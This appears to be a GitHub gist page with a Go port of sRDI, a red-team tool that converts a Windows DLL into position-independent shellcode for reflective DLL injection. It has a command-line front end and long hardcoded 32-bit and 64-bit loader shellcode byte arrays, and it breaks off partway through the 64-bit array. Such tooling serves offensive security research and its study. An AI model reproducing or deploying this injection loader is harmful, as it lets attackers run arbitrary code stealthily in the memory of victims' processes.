-
-
Save audibleblink/729798885002b1b789b4c9399691ee27 to your computer and use it in GitHub Desktop.
Go implementation of https://github.com/monoxgas/sRDI/
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package main | |
| /* | |
| * | |
| * This is just a Go implementation of https://github.com/monoxgas/sRDI/ | |
| * Useful if you're trying to generate shellcode for reflective DLL | |
| * injection in Go, otherwise probably not much use :) | |
| * | |
| * The project, shellcode, most comments within this project | |
| * are all from the original project by @SilentBreakSec's Nick Landers (@monoxgas) | |
| * | |
| * For more information about sRDI, see the blog here: | |
| * https://silentbreaksecurity.com/srdi-shellcode-reflective-dll-injection/ | |
| * | |
| * Warning: Not much error handling | |
| * | |
| */ | |
| import ( | |
| "encoding/binary" | |
| "flag" | |
| "fmt" | |
| "io/ioutil" | |
| "math" | |
| "os" | |
| "strings" | |
| ) | |
| func main() { | |
| // handle command line arguments, -h or -help shows the menu | |
| dll := flag.String("dll", "", "Path to DLL to convert to shellcode") | |
| functionName := flag.String("function-name", "SayHello", "Name of function to call after DllMain.") | |
| userDataStr := flag.String("user-data", "", "Optional data to send to the injected DLL.") | |
| clearHeader := flag.Bool("clear-header", false, "Clear the PE header") | |
| flag.Parse() | |
| dllBytes, err := readFile(*dll) | |
| if err != nil { | |
| panic(err) | |
| } | |
| // functionHash is 0x10 by default, otherwise get the hash and convert to bytes | |
| var hashFunction []byte | |
| if *functionName != "" { | |
| hashFunctionUint32 := hashFunctionName(*functionName) | |
| hashFunction = pack(hashFunctionUint32) | |
| } else { | |
| hashFunction = pack(uint32(0x10)) | |
| } | |
| flags := 0 | |
| if *clearHeader { | |
| flags |= 0x1 | |
| } | |
| var userData []byte | |
| if *userDataStr != "" { | |
| userData = []byte(*userDataStr) | |
| } | |
| shellcode := convertToShellcode(dllBytes, hashFunction, userData, flags) | |
| outfile := strings.Replace(*dll, ".dll", ".bin", 1) | |
| writeFile(outfile, shellcode) | |
| fmt.Printf("Wrote shellcode to %s\n", outfile) | |
| } | |
| func convertToShellcode(dllBytes, functionHash, userData []byte, flags int) []byte { | |
| rdiShellcode32 := []byte{0x83, 0xEC, 0x48, 0x83, 0x64, 0x24, 0x18, 0x00, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0x53, 0x55, 0x56, 0x57, 0x33, 0xF6, 0xE8, 0x22, 0x04, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x89, 0x44, 0x24, 0x1C, 0xE8, 0x14, 0x04, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x89, 0x44, 0x24, 0x20, 0xE8, 0x06, 0x04, 0x00, 0x00, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x8B, 0xE8, 0xE8, 0xFA, 0x03, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x89, 0x44, 0x24, 0x2C, 0xE8, 0xEC, 0x03, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x89, 0x44, 0x24, 0x30, 0xE8, 0xDE, 0x03, 0x00, 0x00, 0x8B, 0xD8, 0x8B, 0x44, 0x24, 0x5C, 0x8B, 0x78, 0x3C, 0x03, 0xF8, 0x89, 0x7C, 0x24, 0x10, 0x81, 0x3F, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0x33, 0xC0, 0xE9, 0xB8, 0x03, 0x00, 0x00, 0xB8, 0x4C, 0x01, 0x00, 0x00, 0x66, 0x39, 0x47, 0x04, 0x75, 0xEE, 0xF6, 0x47, 0x38, 0x01, 0x75, 0xE8, 0x0F, 0xB7, 0x57, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x85, 0xD2, 0x74, 0x22, 0x8D, 0x4F, 0x24, 0x03, 0xC8, 0x83, 0x79, 0x04, 0x00, 0x8B, 0x01, 0x75, 0x05, 0x03, 0x47, 0x38, 0xEB, 0x03, 0x03, 0x41, 0x04, 0x3B, 0xC6, 0x0F, 0x47, 0xF0, 0x83, 0xC1, 0x28, 0x83, 0xEA, 0x01, 0x75, 0xE3, 0x8D, 0x44, 0x24, 0x34, 0x50, 0xFF, 0xD3, 0x8B, 0x44, 0x24, 0x38, 0x8B, 0x5F, 0x50, 0x8D, 0x50, 0xFF, 0x8D, 0x48, 0xFF, 0xF7, 0xD2, 0x48, 0x03, 0xCE, 0x03, 0xC3, 0x23, 0xCA, 0x23, 0xC2, 0x3B, 0xC1, 0x75, 0x97, 0x6A, 0x04, 0x68, 0x00, 0x30, 0x00, 0x00, 0x53, 0x6A, 0x00, 0xFF, 0xD5, 0x8B, 0x77, 0x54, 0x8B, 0xD8, 0x8B, 0x44, 0x24, 0x5C, 0x33, 0xC9, 0x89, 0x44, 0x24, 0x14, 0x8B, 0xD3, 0x33, 0xC0, 0x89, 0x5C, 0x24, 0x18, 0x40, 0x89, 0x44, 0x24, 0x24, 0x85, 0xF6, 0x74, 0x37, 0x8B, 0x6C, 0x24, 0x6C, 0x8B, 0x5C, 0x24, 0x14, 0x23, 0xE8, 0x4E, 0x85, 0xED, 0x74, 0x19, 0x8B, 0xC7, 0x2B, 0x44, 0x24, 0x5C, 0x3B, 0xC8, 0x73, 0x0F, 0x83, 0xF9, 0x3C, 0x72, 0x05, 0x83, 0xF9, 0x3E, 0x76, 0x05, 0xC6, 0x02, 0x00, 0xEB, 0x04, 0x8A, 0x03, 0x88, 0x02, 0x41, 0x43, 0x42, 0x85, 0xF6, 0x75, 0xD7, 0x8B, 0x5C, 0x24, 0x18, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x85, 0xC0, 0x74, 0x38, 0x83, 0xC7, 0x2C, 0x03, 0xCF, 0x8B, 0x7C, 0x24, 0x5C, 0x8B, 0x51, 0xF8, 0x48, 0x8B, 0x31, 0x03, 0xD3, 0x8B, 0x69, 0xFC, 0x03, 0xF7, 0x89, 0x44, 0x24, 0x5C, 0x85, 0xED, 0x74, 0x0F, 0x8A, 0x06, 0x88, 0x02, 0x42, 0x46, 0x83, 0xED, 0x01, 0x75, 0xF5, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC1, 0x28, 0x85, 0xC0, 0x75, 0xD5, 0x8B, 0x7C, 0x24, 0x10, 0x8B, 0xB7, 0x80, 0x00, 0x00, 0x00, 0x03, 0xF3, 0x89, 0x74, 0x24, 0x14, 0x8B, 0x46, 0x0C, 0x85, 0xC0, 0x74, 0x7D, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x20, 0x8B, 0x6E, 0x10, 0x8B, 0xF8, 0x8B, 0x06, 0x03, 0xEB, 0x03, 0xC3, 0x89, 0x44, 0x24, 0x5C, 0x83, 0x7D, 0x00, 0x00, 0x74, 0x4F, 0x8B, 0x74, 0x24, 0x20, 0x8B, 0x08, 0x85, 0xC9, 0x74, 0x1E, 0x79, 0x1C, 0x8B, 0x47, 0x3C, 0x0F, 0xB7, 0xC9, 0x8B, 0x44, 0x38, 0x78, 0x2B, 0x4C, 0x38, 0x10, 0x8B, 0x44, 0x38, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x38, 0x03, 0xC7, 0xEB, 0x0C, 0x8B, 0x45, 0x00, 0x83, 0xC0, 0x02, 0x03, 0xC3, 0x50, 0x57, 0xFF, 0xD6, 0x89, 0x45, 0x00, 0x83, 0xC5, 0x04, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x5C, 0x83, 0x7D, 0x00, 0x00, 0x75, 0xB9, 0x8B, 0x74, 0x24, 0x14, 0x8B, 0x46, 0x20, 0x83, 0xC6, 0x14, 0x89, 0x74, 0x24, 0x14, 0x85, 0xC0, 0x75, 0x87, 0x8B, 0x7C, 0x24, 0x10, 0x8B, 0xEB, 0x2B, 0x6F, 0x34, 0x83, 0xBF, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0xAA, 0x00, 0x00, 0x00, 0x8B, 0x97, 0xA0, 0x00, 0x00, 0x00, 0x03, 0xD3, 0x89, 0x54, 0x24, 0x5C, 0x8D, 0x4A, 0x04, 0x8B, 0x01, 0x89, 0x4C, 0x24, 0x14, 0x85, 0xC0, 0x0F, 0x84, 0x8D, 0x00, 0x00, 0x00, 0x8B, 0x32, 0x8D, 0x78, 0xF8, 0x03, 0xF3, 0x8D, 0x42, 0x08, 0xD1, 0xEF, 0x89, 0x44, 0x24, 0x20, 0x74, 0x60, 0x6A, 0x02, 0x8B, 0xD8, 0x5A, 0x0F, 0xB7, 0x0B, 0x4F, 0x66, 0x8B, 0xC1, 0x66, 0xC1, 0xE8, 0x0C, 0x66, 0x83, 0xF8, 0x0A, 0x74, 0x06, 0x66, 0x83, 0xF8, 0x03, 0x75, 0x0B, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x01, 0x2C, 0x31, 0xEB, 0x27, 0x66, 0x3B, 0x44, 0x24, 0x24, 0x75, 0x11, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x8B, 0xC5, 0xC1, 0xE8, 0x10, 0x66, 0x01, 0x04, 0x31, 0xEB, 0x0F, 0x66, 0x3B, 0xC2, 0x75, 0x0A, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x66, 0x01, 0x2C, 0x31, 0x03, 0xDA, 0x85, 0xFF, 0x75, 0xB1, 0x8B, 0x5C, 0x24, 0x18, 0x8B, 0x54, 0x24, 0x5C, 0x8B, 0x4C, 0x24, 0x14, 0x03, 0x11, 0x89, 0x54, 0x24, 0x5C, 0x8D, 0x4A, 0x04, 0x8B, 0x01, 0x89, 0x4C, 0x24, 0x14, 0x85, 0xC0, 0x0F, 0x85, 0x77, 0xFF, 0xFF, 0xFF, 0x8B, 0x7C, 0x24, 0x10, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x85, 0xC0, 0x0F, 0x84, 0xB7, 0x00, 0x00, 0x00, 0x8B, 0x74, 0x24, 0x5C, 0x8D, 0x6F, 0x3C, 0x03, 0xE9, 0x48, 0x83, 0x7D, 0xEC, 0x00, 0x89, 0x44, 0x24, 0x24, 0x0F, 0x86, 0x94, 0x00, 0x00, 0x00, 0x8B, 0x4D, 0x00, 0x33, 0xD2, 0x42, 0x8B, 0xC1, 0xC1, 0xE8, 0x1D, 0x23, 0xC2, 0x8B, 0xD1, 0xC1, 0xEA, 0x1E, 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x85, 0xC0, 0x75, 0x18, 0x85, 0xD2, 0x75, 0x07, 0x6A, 0x08, 0x5E, 0x6A, 0x01, 0xEB, 0x05, 0x6A, 0x04, 0x5E, 0x6A, 0x02, 0x85, 0xC9, 0x58, 0x0F, 0x44, 0xF0, 0xEB, 0x2C, 0x85, 0xD2, 0x75, 0x17, 0x85, 0xC9, 0x75, 0x04, 0x6A, 0x10, 0xEB, 0x15, 0x85, 0xD2, 0x75, 0x0B, 0x85, 0xC9, 0x74, 0x18, 0xBE, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x11, 0x85, 0xC9, 0x75, 0x05, 0x6A, 0x20, 0x5E, 0xEB, 0x08, 0x6A, 0x40, 0x85, 0xC9, 0x58, 0x0F, 0x45, 0xF0, 0x8B, 0x4D, 0x00, 0x8B, 0xC6, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x81, 0xE1, 0x00, 0x00, 0x00, 0x04, 0x0F, 0x44, 0xC6, 0x8B, 0xF0, 0x8D, 0x44, 0x24, 0x28, 0x50, 0x8B, 0x45, 0xE8, 0x56, 0xFF, 0x75, 0xEC, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x3C, 0x85, 0xC0, 0x0F, 0x84, 0xEC, 0xFC, 0xFF, 0xFF, 0x8B, 0x44, 0x24, 0x24, 0x83, 0xC5, 0x28, 0x85, 0xC0, 0x0F, 0x85, 0x52, 0xFF, 0xFF, 0xFF, 0x8B, 0x77, 0x28, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0xFF, 0x03, 0xF3, 0xFF, 0x54, 0x24, 0x3C, 0x33, 0xC0, 0x40, 0x50, 0x50, 0x53, 0xFF, 0xD6, 0x83, 0x7C, 0x24, 0x60, 0x00, 0x74, 0x7C, 0x83, 0x7F, 0x7C, 0x00, 0x74, 0x76, 0x8B, 0x4F, 0x78, 0x03, 0xCB, 0x8B, 0x41, 0x18, 0x85, 0xC0, 0x74, 0x6A, 0x83, 0x79, 0x14, 0x00, 0x74, 0x64, 0x8B, 0x69, 0x20, 0x8B, 0x79, 0x24, 0x03, 0xEB, 0x83, 0x64, 0x24, 0x5C, 0x00, 0x03, 0xFB, 0x85, 0xC0, 0x74, 0x51, 0x8B, 0x75, 0x00, 0x03, 0xF3, 0x33, 0xD2, 0x0F, 0xBE, 0x06, 0xC1, 0xCA, 0x0D, 0x03, 0xD0, 0x46, 0x80, 0x7E, 0xFF, 0x00, 0x75, 0xF1, 0x39, 0x54, 0x24, 0x60, 0x74, 0x16, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC5, 0x04, 0x40, 0x83, 0xC7, 0x02, 0x89, 0x44, 0x24, 0x5C, 0x3B, 0x41, 0x18, 0x72, 0xD0, 0xEB, 0x1F, 0x0F, 0xB7, 0x17, 0x83, 0xFA, 0xFF, 0x74, 0x17, 0x8B, 0x41, 0x1C, 0xFF, 0x74, 0x24, 0x68, 0xFF, 0x74, 0x24, 0x68, 0x8D, 0x04, 0x90, 0x8B, 0x04, 0x18, 0x03, 0xC3, 0xFF, 0xD0, 0x59, 0x59, 0x8B, 0xC3, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x48, 0xC3, 0x83, 0xEC, 0x10, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8B, 0x40, 0x0C, 0x57, 0x89, 0x4C, 0x24, 0x18, 0x8B, 0x70, 0x0C, 0xE9, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x30, 0x33, 0xC9, 0x8B, 0x5E, 0x2C, 0x8B, 0x36, 0x89, 0x44, 0x24, 0x14, 0x8B, 0x42, 0x3C, 0x8B, 0x6C, 0x10, 0x78, 0x89, 0x6C, 0x24, 0x10, 0x85, 0xED, 0x74, 0x6D, 0xC1, 0xEB, 0x10, 0x33, 0xFF, 0x85, 0xDB, 0x74, 0x1F, 0x8B, 0x6C, 0x24, 0x14, 0x8A, 0x04, 0x2F, 0xC1, 0xC9, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83, 0xC1, 0xE0, 0x03, 0xC8, 0x47, 0x3B, 0xFB, 0x72, 0xE9, 0x8B, 0x6C, 0x24, 0x10, 0x8B, 0x44, 0x2A, 0x20, 0x33, 0xDB, 0x8B, 0x7C, 0x2A, 0x18, 0x03, 0xC2, 0x89, 0x7C, 0x24, 0x14, 0x85, 0xFF, 0x74, 0x31, 0x8B, 0x28, 0x33, 0xFF, 0x03, 0xEA, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xBE, 0x45, 0x00, 0xC1, 0xCF, 0x0D, 0x03, 0xF8, 0x45, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xF0, 0x8D, 0x04, 0x0F, 0x3B, 0x44, 0x24, 0x18, 0x74, 0x20, 0x8B, 0x44, 0x24, 0x1C, 0x43, 0x3B, 0x5C, 0x24, 0x14, 0x72, 0xCF, 0x8B, 0x56, 0x18, 0x85, 0xD2, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x10, 0xC3, 0x8B, 0x74, 0x24, 0x10, 0x8B, 0x44, 0x16, 0x24, 0x8D, 0x04, 0x58, 0x0F, 0xB7, 0x0C, 0x10, 0x8B, 0x44, 0x16, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x10, 0x03, 0xC2, 0xEB, 0xDB} | |
| rdiShellcode64 := []byte{0x48, 0x8B, 0xC4, 0x44, 0x89, 0x48, 0x20, 0x4C, 0x89, 0x40, 0x18, 0x89, 0x50, 0x10, 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x78, 0x83, 0x60, 0x08, 0x00, 0x48, 0x8B, 0xE9, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0x44, 0x8B, 0xFA, 0x33, 0xDB, 0xE8, 0xA4, 0x04, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x4C, 0x8B, 0xE8, 0xE8, 0x97, 0x04, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x48, 0x89, 0x44, 0x24, 0x20, 0xE8, 0x88, 0x04, 0x00, 0x00, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x48, 0x8B, 0xF0, 0xE8, 0x7B, 0x04, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x48, 0x89, 0x44, 0x24, 0x30, 0xE8, 0x6C, 0x04, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x48, 0x89, 0x44, 0x24, 0x28, 0x4C, 0x8B, 0xE0, 0xE8, 0x5A, 0x04, 0x00, 0x00, 0x48, 0x63, 0x7D, 0x3C, 0x4C, 0x8B, 0xD0, 0x48, 0x03, 0xFD, 0x81, 0x3F, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0x33, 0xC0, 0xE9, 0x2D, 0x04, 0x00, 0x00, 0xB8, 0x64, 0x86, 0x00, 0x00, 0x66, 0x39, 0x47, 0x04, 0x75, 0xEE, 0x41, 0xBE, 0x01, 0x00, 0x00, 0x00, 0x44, 0x84, 0x77, 0x38, 0x75, 0xE2, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x44, 0x8B, 0x4F, 0x38, 0x85, 0xC0, 0x74, 0x2C, 0x48, 0x8D, 0x57, 0x24, 0x44, 0x8B, 0xC0, 0x48, 0x03, 0xD1, 0x8B, 0x4A, 0x04, 0x85, 0xC9, 0x75, 0x07, 0x8B, 0x02, 0x49, 0x03, 0xC1, 0xEB, 0x04, 0x8B, 0x02, 0x03, 0xC1, 0x48, 0x3B, 0xC3, 0x48, 0x0F, 0x47, 0xD8, 0x48, 0x83, 0xC2, 0x28, 0x4D, 0x2B, 0xC6, 0x75, 0xDE, 0x48, 0x8D, 0x4C, 0x24, 0x38, 0x41, 0xFF, 0xD2, 0x44, 0x8B, 0x44, 0x24, 0x3C, 0x44, 0x8B, 0x4F, 0x50, 0x41, 0x8D, 0x40, 0xFF, 0xF7, 0xD0, 0x41, 0x8D, 0x50, 0xFF, 0x41, 0x03, 0xD1, 0x49, 0x8D, 0x48, 0xFF, 0x48, 0x23, 0xD0, 0x48, 0x03, 0xCB, 0x49, 0x8D, 0x40, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x23, 0xC8, 0x48, 0x3B, 0xD1, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC9, 0x41, 0x8B, 0xD1, 0x41, 0xB8, 0x00, 0x30, 0x00, 0x00, 0x44, 0x8D, 0x49, 0x04, 0xFF, 0xD6, 0x44, 0x8B, 0x47, 0x54, 0x33, 0xD2, 0x48, 0x8B, 0xF0, 0x4C, 0x8B, 0xD5, 0x48, 0x8B, 0xC8, 0x44, 0x8D, 0x5A, 0x02, 0x4D, 0x85, 0xC0, 0x74, 0x3F, 0x44, 0x8B, 0x8C, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x45, 0x23, 0xCE, 0x4D, 0x2B, 0xC6, 0x45, 0x85, 0xC9, 0x74, 0x19, 0x48, 0x8B, 0xC7, 0x48, 0x2B, 0xC5, 0x48, 0x3B, 0xD0, 0x73, 0x0E, 0x48, 0x8D, 0x42, 0xC4, 0x49, 0x3B, 0xC3, 0x76, 0x05, 0xC6, 0x01, 0x00, 0xEB, 0x05, 0x41, 0x8A, 0x02, 0x88, 0x01, 0x49, 0x03, 0xD6, 0x4D, 0x03, 0xD6, 0x49, 0x03, 0xCE, 0x4D, 0x85, 0xC0, 0x75, 0xCC, 0x44, 0x0F, 0xB7, 0x57, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x4D, 0x85, 0xD2, 0x74, 0x38, 0x48, 0x8D, 0x4F, 0x2C, 0x48, 0x03, 0xC8, 0x8B, 0x51, 0xF8, 0x4D, 0x2B, 0xD6, 0x44, 0x8B, 0x01, 0x48, 0x03, 0xD6, 0x44, 0x8B, 0x49, 0xFC, 0x4C, 0x03, 0xC5, 0x4D, 0x85, 0xC9, 0x74, 0x10, 0x41, 0x8A, 0x00, 0x4D, 0x03, 0xC6, 0x88, 0x02, 0x49, 0x03, 0xD6, 0x4D, 0x2B, 0xCE, 0x75, 0xF0, 0x48, 0x83, 0xC1, 0x28, 0x4D, 0x85, 0xD2, 0x75, 0xCF, 0x8B, 0x9F, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xDE, 0x8B, 0x43, 0x0C, 0x85, 0xC0, 0x0F, 0x84, 0x8A, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x6C, 0x24, 0x20, 0x8B, 0xC8, 0x48, 0x03, 0xCE, 0x41, 0xFF, 0xD5, 0x44, 0x8B, 0x3B, 0x4C, 0x8B, 0xE0, 0x44, 0x8B, 0x73, 0x10, 0x4C, 0x03, 0xFE, 0x4C, 0x03, 0xF6, 0xEB, 0x49, 0x49, 0x83, 0x3F, 0x00, 0x7D, 0x29, 0x49, 0x63, 0x44, 0x24, 0x3C, 0x41, 0x0F, 0xB7, 0x17, 0x42, 0x8B, 0x8C, 0x20, 0x88, 0x00, 0x00, 0x00, 0x42, 0x8B, 0x44, 0x21, 0x10, 0x42, 0x8B, 0x4C, 0x21, 0x1C, 0x48, 0x2B, 0xD0, 0x49, 0x03, 0xCC, 0x8B, 0x04, 0x91, 0x49, 0x03, 0xC4, 0xEB, 0x0F, 0x49, 0x8B, 0x16, 0x49, 0x8B, 0xCC, 0x48, 0x83, 0xC2, 0x02, 0x48, 0x03, 0xD6, 0xFF, 0xD5, 0x49, 0x89, 0x06, 0x49, 0x83, 0xC6, 0x08, 0x49, 0x83, 0xC7, 0x08, 0x49, 0x83, 0x3E, 0x00, 0x75, 0xB1, 0x8B, 0x43, 0x20, 0x48, 0x83, 0xC3, 0x14, 0x85, 0xC0, 0x75, 0x8C, 0x44, 0x8B, 0xBC, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x44, 0x8D, 0x70, 0x01, 0x4C, 0x8B, 0x64, 0x24, 0x28, 0x4C, 0x8B, 0xCE, 0x41, 0xBD, 0x02, 0x00, 0x00, 0x00, 0x4C, 0x2B, 0x4F, 0x30, 0x83, 0xBF, 0xB4, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x95, 0x00, 0x00, 0x00, 0x8B, 0x97, 0xB0, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD6, 0x8B, 0x42, 0x04, 0x85, 0xC0, 0x0F, 0x84, 0x81, 0x00, 0x00, 0x00, 0xBB, 0xFF, 0x0F, 0x00, 0x00, 0x44, 0x8B, 0x02, 0x4C, 0x8D, 0x5A, 0x08, 0x44, 0x8B, 0xD0, 0x4C, 0x03, 0xC6, 0x49, 0x83, 0xEA, 0x08, 0x49, 0xD1, 0xEA, 0x74, 0x59, 0x41, 0x0F, 0xB7, 0x0B, 0x4D, 0x2B, 0xD6, 0x0F, 0xB7, 0xC1, 0x66, 0xC1, 0xE8, 0x0C, 0x66, 0x83, 0xF8, 0x0A, 0x75, 0x09, 0x48, 0x23, 0xCB, 0x4E, 0x01, 0x0C, 0x01, 0xEB, 0x34, 0x66, 0x83, 0xF8, 0x03, 0x75, 0x09, 0x48, 0x23, 0xCB, 0x46, 0x01, 0x0C, 0x01, 0xEB, 0x25, 0x66, 0x41, 0x3B, 0xC6, 0x75, 0x11, 0x48, 0x23, 0xCB, 0x49, 0x8B, 0xC1, 0x48, 0xC1, 0xE8, 0x10, 0x66, 0x42, 0x01, 0x04, 0x01, 0xEB, 0x0E, 0x66, 0x41, 0x3B, 0xC5, 0x75, 0x08, 0x48, 0x23, 0xCB, 0x66, 0x46, 0x01, 0x0C, 0x01, 0x4D, 0x03, 0xDD, 0x4D, 0x85, 0xD2, 0x75, 0xA7, 0x8B, 0x42, 0x04, 0x48, 0x03, 0xD0, 0x8B, 0x42, 0x04, 0x85, 0xC0, 0x75, 0x84, 0x0F, 0xB7, 0x6F, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x48, 0x85, 0xED, 0x0F, 0x84, 0xCF, 0x00, 0x00, 0x00, 0x8B, 0x9C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x77, 0x3C, 0x4C, 0x8B, 0x6C, 0x24, 0x30, 0x4C, 0x03, 0xF0, 0x48, 0xFF, 0xCD, 0x41, 0x83, 0x7E, 0xEC, 0x00, 0x0F, 0x86, 0x9D, 0x00, 0x00, 0x00, 0x45, 0x8B, 0x06, 0x41, 0x8B, 0xD0, 0xC1, 0xEA, 0x1E, 0x41, 0x8B, 0xC0, 0x41, 0x8B, 0xC8, 0xC1, 0xE8, 0x1D, 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x83, 0xE0, 0x01, 0x75, 0x1E, 0x85, 0xD2, 0x75, 0x0B, 0xF7, 0xD9, 0x1B, 0xDB, 0x83, 0xE3, 0x07, 0xFF, 0xC3, 0xEB, 0x3E, 0xF7, 0xD9, 0xB8, 0x02, 0x00, 0x00, 0x00, 0x1B, 0xDB, 0x23, 0xD8, 0x03, 0xD8, 0xEB, 0x2F, 0x85, 0xD2, 0x75, 0x18, 0x85, 0xC9, 0x75, 0x05, 0x8D, 0x5A, 0x10, 0xEB, 0x22, 0x85, 0xD2, 0x75, 0x0B, 0x85, 0xC9, 0x74, 0x1A, 0xBB, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x13, 0x85, 0xC9, 0x75, 0x05, 0x8D, 0x59, 0x20, 0xEB, 0x0A, 0x85, 0xC9, 0xB8, 0x40, 0x00, 0x00, 0x00, 0x0F, 0x45, 0xD8, 0x41, 0x8B, 0x4E, 0xE8, 0x4C, 0x8D, 0x8C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x56, 0xEC, 0x8B, 0xC3, 0x0F, 0xBA, 0xE8, 0x09, 0x41, 0x81, 0xE0, 0x00, 0x00, 0x00, 0x04, 0x0F, 0x44, 0xC3, 0x48, 0x03, 0xCE, 0x44, 0x8B, 0xC0, 0x8B, 0xD8, 0x41, 0xFF, 0xD5, 0x85, 0xC0, 0x0F, 0x84, 0xA1, 0xFC, 0xFF, 0xFF, 0x49, 0x83, 0xC6, 0x28, 0x48, 0x85, 0xED, 0x0F, 0x85, 0x48, 0xFF, 0xFF, 0xFF, 0x44, 0x8D, 0x6D, 0x02, 0x8B, 0x5F, 0x28, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x48, 0x83, 0xC9, 0xFF, 0x48, 0x03, 0xDE, 0x41, 0xFF, 0xD4, 0xBD, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xCE, 0x44, 0x8B, 0xC5, 0x8B, 0xD5, 0xFF, 0xD3, 0x45, 0x85, 0xFF, 0x0F, 0x84, 0x97, 0x00, 0x00, 0x00, 0x83, 0xBF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x97, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD6, 0x44, 0x8B, 0x5A, 0x18, 0x45, 0x85, 0xDB, 0x74, 0x78, 0x83, 0x7A, 0x14, 0x00, 0x74, 0x72, 0x44, 0x8B, 0x52, 0x20, 0x33, 0xDB, 0x44, 0x8B, 0x4A, 0x24, 0x4C, 0x03, 0xD6, 0x4C, 0x03, 0xCE, 0x45, 0x85, 0xDB, 0x74, 0x5D, 0x45, 0x8B, 0x02, 0x4C, 0x03, 0xC6, 0x33, 0xC9, 0x41, 0x0F, 0xBE, 0x00, 0x4C, 0x03, 0xC5, 0xC1, 0xC9, 0x0D, 0x03, 0xC8, 0x41, 0x80, 0x78, 0xFF, 0x00, 0x75, 0xED, 0x44, 0x3B, 0xF9, 0x74, 0x10, 0x03, 0xDD, 0x49, 0x83, 0xC2, 0x04, 0x4D, 0x03, 0xCD, 0x41, 0x3B, 0xDB, 0x72, 0xD2, 0xEB, 0x2D, 0x41, 0x0F, 0xB7, 0x01, 0x83, 0xF8, 0xFF, 0x74, 0x24, 0x8B, 0x52, 0x1C, 0x48, 0x8B, 0x8C, 0x24, 0xD0, 0x00, 0x00, 0x00, 0xC1, 0xE0, 0x02, 0x48, 0x98, 0x48, 0x03, 0xC6, 0x44, 0x8B, 0x04, 0x02, 0x8B, 0x94, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x4C, 0x03, 0xC6, 0x41, 0xFF, 0xD0, 0x48, 0x8B, 0xC6, 0x48, 0x83, 0xC4, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5D, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 